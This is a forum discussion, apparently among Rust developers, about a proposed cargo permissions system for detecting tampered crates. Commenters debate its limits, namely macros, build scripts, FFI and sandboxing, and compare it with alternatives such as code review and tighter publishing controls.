Cargo permissions to detect tampered dependecies

What is the problem?

Crates.io, as many other package repositories have the challenge to keep all the available packages in a reliable and secure way. Developers and users of these repositories put a lot of confidence in repository maintainers.

To keep a healthy repository of packages in crates.io we need to enforce as many as possible approaches to detect any kind of vulnerability.

With the increased use of dependencies between packages, the risk of vulnerability propagation increases. A small security problem in a famous crate can lead to a huge problem in many projects. We have seen many security problems like this one in other platforms like NPM.

Rust developers need a tool to answer those questions about their dependencies:

  • Why a png library uses the network layer?
  • Why a http library uses the file system layer?

Possible scenarios

  • Read unauthorized files
  • Do requests to untrusted domains
  • Execute unauthorized programs
  • Stolen information
  • Stolen CPU resources
  • Execute code unsafely

Proof of concept

You can find a POC for cargo permissions here:

This seems to be based on the idea that malicious code can be detected by looking for specific paths in the code. There are other ways, though:

  • sticking them in a macro
  • generating the code in a build script
  • replacing a Cargo plugin on the developer’s drive from a build script
  • using FFI to access OS facilities

I’m afraid that a solution not designed with this aspect in mind would promote a false sense of security.

3 Likes

I agree with the implication that these are serious enough gaps in the POC that the full proposal would have to close them to be worth adopting.

IIUC, in order to close these gaps, the analysis would have to occur after all these build steps are done by the real toolchain, rather than directly parsing the raw source. So a full proposal would have to pick a strategy for integrating this with the build (clippy lint? operate on crate metadata instead? bake into the compiler? cargo subcommands?). I suspect we want tool attributes to be involved somehow.

I believe this is why unsafe not only is but has to be one of the proposed permissions.

I do think the summary post ought to include the proposed list of permissions, rather than just in the github readme, since it's so critical to judging the overall value of the proposal.

Some previous discussion of ideas along these lines:

I'm definitely a fan of this sort of idea. You can find my take on it here:

Also if you're interested in this sort of stuff, please check out the Rust Secure Code WG:

5 Likes
  • PNG library needs unsafe to have a decent speed deflate.
  • HTTP library needs to load TLS root certs from disk.

This approach is inspired by permission systems in different platforms like:

Note that all of these are whole-application limits, and in systems where communication between applications with different privileges is limited.

They are also runtime limits, not static analysis.

Rust already has this in form of process sandboxing: seccomp on Linux, macOS sandboxing, BSD capsicum, pledge, etc.

Adding limits on component level, especially via static analysis only, is a much harder problem, because components can tightly integrate with each other, and you get puzzling situations like what if a component that has "net" permission passes a callback to component that doesn't? Or untrusted component uses a trusted component as a dependency. It's suddenly a new security model, because components have to also think about preventing privilege escalation (e.g. if they load a file, could that be abused by non-fs component to bypass it's fs restriction?)

Permissions are also much harder to define than it seems. For example, random numbers may require filesystem access (/dev/urandom). So does time (/etc/tz), and network (TLS root certs). And on Linux filesystem access gives access to almost everything else through /dev, /proc, etc.

As libraries add more functionality, they need more permissions. Adding more permissions used to prevent updates on Android and was a major pain for app authors.

Overall, I think approaches that let you install and run malware, but hope to catch it or contain it after the fact, won't work. That is very hard to do (entire toolchain and language has to be watertight), easy to get wrong (one permission too much and you have sandbox escape), and it's a burden for everyone involved.

I think effort will be better spent on code reviews (via cargo-crev) and locking down publishing in Cargo (2FA, confirmation emails).

9 Likes

This is a recurring question I read, induced by the vague static analysis of POC (Sorry!), is what about macros and customized build scripts. As @Ixrec answered, is a step that can be performed later steps in the toolchain and match the used permissions properly.

Exactly.

The main idea is that every crate should manage which permissions come from crates they depend on. If every dependency has a controlled list of permissions, the toolchain could know which permissions can use every call or callback.

The cargo permissions propossal is not a silver bullet solution, but an extra security layer for a well-known catalog of possible scenarios with package repositories like crates.io. If a crate uses the fs access, as you say, it gives you the power to read files all over the filesystem, but this is out of the scope of this permission. We have other mechanisms to protect those resources. We should not raise a flag if the a crate for random number uses the file systems, but we should if a regexp crate uses the network one.

Although the idea behind cargo-crev is not incompatible with the permissions idea, we need more automated tools to find those tampered crates and decrease responsibilities to maintainers and reviewers.

My proposal leveraged unsafe (in conjunction with Cargo features) not as a "permission", but the fundamental modeling dimension around which all other permissions are based.